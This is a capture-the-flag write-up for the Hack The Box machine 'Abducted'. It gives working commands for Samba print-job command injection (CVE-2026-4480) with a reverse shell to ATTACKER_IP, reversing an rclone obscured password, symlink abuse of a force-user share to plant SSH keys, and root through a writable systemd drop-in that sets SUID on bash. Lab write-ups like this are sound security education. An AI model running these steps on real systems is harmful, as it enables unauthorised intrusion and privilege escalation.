HackTheBoxMedium

HTB: Abducted

A guest-writable printer share on Samba is pre-auth RCE (CVE-2026-4480), rclone's reversible "obscure" format hands over a reused SSH password, and a Samba force-user share with insecure wide-link support becomes an arbitrary-file-write into a root-writable systemd drop-in.

Two-headed penguin illustration inside an orange ring badge

Recon

PORT    STATE SERVICE     REASON         VERSION
22/tcp  open  ssh         syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
139/tcp open  netbios-ssn syn-ack ttl 63 Samba smbd 4
445/tcp open  netbios-ssn syn-ack ttl 63 Samba smbd 4
| nbstat: NetBIOS name: ABDUCTED, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required

Just SSH and Samba exposed — no web service.

Enumerate SMB

smbclient -N -L //10.129.244.177
Sharename       Type      Comment
---------       ----      -------
HP-Reception    Printer   Reception printer
projects        Disk      Hartley Group Project Files
transfer        Disk      Staff file transfer
IPC$            IPC       IPC Service (Hartley Group Document Services)
nxc smb 10.129.244.177 -u '' -p '' --shares
Share           Permissions     Remark
-----           -----------     ------
HP-Reception    WRITE           Reception printer
projects                        Hartley Group Project Files
transfer                        Staff file transfer
IPC$                            IPC Service (Hartley Group Document Services)
nxc smb 10.129.244.177 -u '' -p '' --users
-Username-                    -Last PW Set-       -BadPW- -Description-
scott                         2026-06-02 15:16:45 0

Only one real user, scott. projects and transfer reject anon access outright, but HP-Reception shows up writable for a null session. Mapping to it works, but ls on it doesn’t — NT_STATUS_NO_SUCH_FILE every time, even right after a successful put:

smbclient -N //10.129.244.177/HP-Reception -c 'put test.txt test.txt; ls'
# putting file test.txt as \test.txt (0.0 kb/s) (average 0.0 kb/s)
# NT_STATUS_NO_SUCH_FILE listing \*

So it’s not a normal writable folder — it’s a print queue. Files get accepted and consumed, not stored.

No web service, no version string leaking anywhere (rpcclient srvinfo just returns a hardcoded os version 6.1, not the real Samba build). Given a guest-writable printer share on Samba, that’s the shape of CVE-2026-4480 — command injection in Samba’s print subsystem. When a print job finishes spooling, smbd runs the configured print command through system(), substituting %J (the client-supplied job name) into it with basically no sanitization (pre-fix, only ' gets replaced with _). Guests can submit print jobs, so it’s pre-auth RCE. Fixed in 4.22.10 / 4.23.8 / 4.24.3.

Foothold — CVE-2026-4480

The public PoC (from the box author, TheCyberGeek) uses Samba’s own Python bindings to talk spoolss over RPC, opens the printer anonymously, and sets the print job’s document name to |sh — that’s what lands in %J. The job body (written via WritePrinter) becomes the %s spool file, which then gets piped into sh.

sudo apt install python3-samba

Confirmed the sink actually executes before going for a shell — fired a blind ping and watched for it instead of guessing straight to a reverse shell:

python3 exploit.py 10.129.244.177 x x -c 'ping -c 3 ATTACKER_IP'
sudo tcpdump -ni tun0 icmp
# ICMP echo request/reply pairs confirm the ping landed

Sink confirmed, so straight to a shell:

nc -lvnp 4444
python3 exploit.py 10.129.244.177 ATTACKER_IP 4444
nobody@abducted:/var/spool/samba$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)

Shell as nobody — the print service account.

User — rclone’s “Obscured” Password

Poking around as nobody didn’t turn up much — no useful SUID binaries, /srv/projects empty, crontabs unreadable. But /opt/offsite-backup/rclone.conf has creds for a svc-backup SFTP target:

nobody@abducted:/$ cat /opt/offsite-backup/rclone.conf
[offsite]
type = sftp
host = backup.hartley-group.internal
user = svc-backup
pass = HZ[REDACTED]sNw
shell_type = unix

backup.hartley-group.internal doesn’t resolve from the box, and the password as written failed against every local account over both SSH and SMB. That’s because it isn’t a plaintext password — it’s rclone’s “obscured” format (reversible, not real encryption, just meant to stop shoulder-surfing). rclone reveal decodes it straight back:

rclone reveal 'HZ[REDACTED]sNw'
# i[REDACTED]Z

That’s password reuse for scott:

ssh scott@10.129.244.177
scott@abducted:~$

Found two relevant settings in /etc/samba/shares.conf and smb.conf:

scott@abducted:~$ cat /etc/samba/shares.conf
[transfer]
 comment = Staff file transfer
 path = /srv/transfer
 valid users = scott
 force user = marcus
 read only = no
 wide links = yes
 browseable = yes
scott@abducted:~$ grep -E 'unix extensions|wide links' /etc/samba/smb.conf
 unix extensions = no
 allow insecure wide links = yes

transfer forces every file operation through the share to run as marcus, and allow insecure wide links overrides Samba’s usual protection so it’ll follow a symlink out of the share root. scott owns /srv/transfer on disk, so a symlink there pointing at marcus’s home, followed by a write through the share, drops a file owned by marcus wherever the link points — enough to plant an authorized_keys.

scott@abducted:~$ ssh-keygen -t ed25519 -N '' -f /tmp/k
scott@abducted:~$ ln -s /home/marcus /srv/transfer/mh
scott@abducted:~$ smbclient //127.0.0.1/transfer -U 'scott%i[REDACTED]Z' \
  -c 'mkdir mh/.ssh; put /tmp/k.pub mh/.ssh/authorized_keys'
scott@abducted:~$ ssh -i /tmp/k marcus@10.129.244.177
marcus@abducted:~$ id
uid=1001(marcus) gid=1002(marcus) groups=1002(marcus),1000(operators)

marcus is in operators, and that group owns a writable systemd drop-in directory:

marcus@abducted:~$ ls -la /etc/systemd/system/smbd.service.d/
drwxrws---  2 root operators 4096 Jun  4 13:41 .

No sudo rights and no polkit grant for the group, but drwxrws--- means marcus can drop files there directly. Anything in smbd.service.d/*.conf gets merged into smbd.service, and an ExecStartPre= runs as root before the main process starts:

marcus@abducted:~$ cat > /etc/systemd/system/smbd.service.d/priv.conf << 'EOF'
[Service]
ExecStartPre=/bin/bash -c 'chmod +s /bin/bash'
EOF
marcus@abducted:~$ systemctl daemon-reload
marcus@abducted:~$ systemctl restart smbd --no-block

The restart hung in deactivating (final-sigterm) — the earlier reverse shell (the nobody session from the CVE-2026-4480 print-command payload) was still sitting inside smbd.service’s cgroup, keeping it alive. Closing that shell from the attacker side let the cgroup empty out, and the restart went through:

marcus@abducted:~$ systemctl status smbd
Active: active (running) since Sun 2026-08-09 23:51:21 UTC; 23s ago
Process: 2500 ExecStartPre=/bin/bash -c chmod +s /bin/bash (code=exited, status=0/SUCCESS)
marcus@abducted:~$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1446024 Mar 31  2024 /bin/bash

SUID bash:

marcus@abducted:~$ bash -p
bash-5.2# id
uid=1001(marcus) gid=1002(marcus) euid=0(root) egid=0(root) groups=1002(marcus),1000(operators)
bash-5.2# cat /root/root.txt

Root.

Takeaways

  • A guest-writable printer share on Samba is a pre-auth RCE surface, not just an odd permission. CVE-2026-4480 abuses the print-job document name (%J) being substituted into a shell command with near-zero sanitization — command injection fires before any authentication happens.
  • Confirm a blind sink before committing to a reverse shell. A throwaway ping payload plus tcpdump verified execution cheaply, without burning a listener on a guess.
  • rclone’s “obscured” passwords are reversible by design, not encryption — rclone reveal is a one-line un-obscure. Treat any rclone.conf pass = value as a plaintext credential waiting to be read.
  • force user + allow insecure wide links is an arbitrary-file-write primitive. A share that forces operations to run as a different user, combined with symlink traversal outside the share root, lets a lower-privileged user write files as whoever the share is forced to — planting authorized_keys is the obvious next step.
  • A root-writable systemd drop-in directory (*.service.d/) is equivalent to root for whoever can write to it — ExecStartPre= in a merged unit file runs as root before the service itself starts.
  • Your own earlier shells can block your own privesc. A stale reverse shell still parked inside a service’s cgroup kept systemctl restart from completing — closing it manually was required before the poisoned unit file could actually take effect.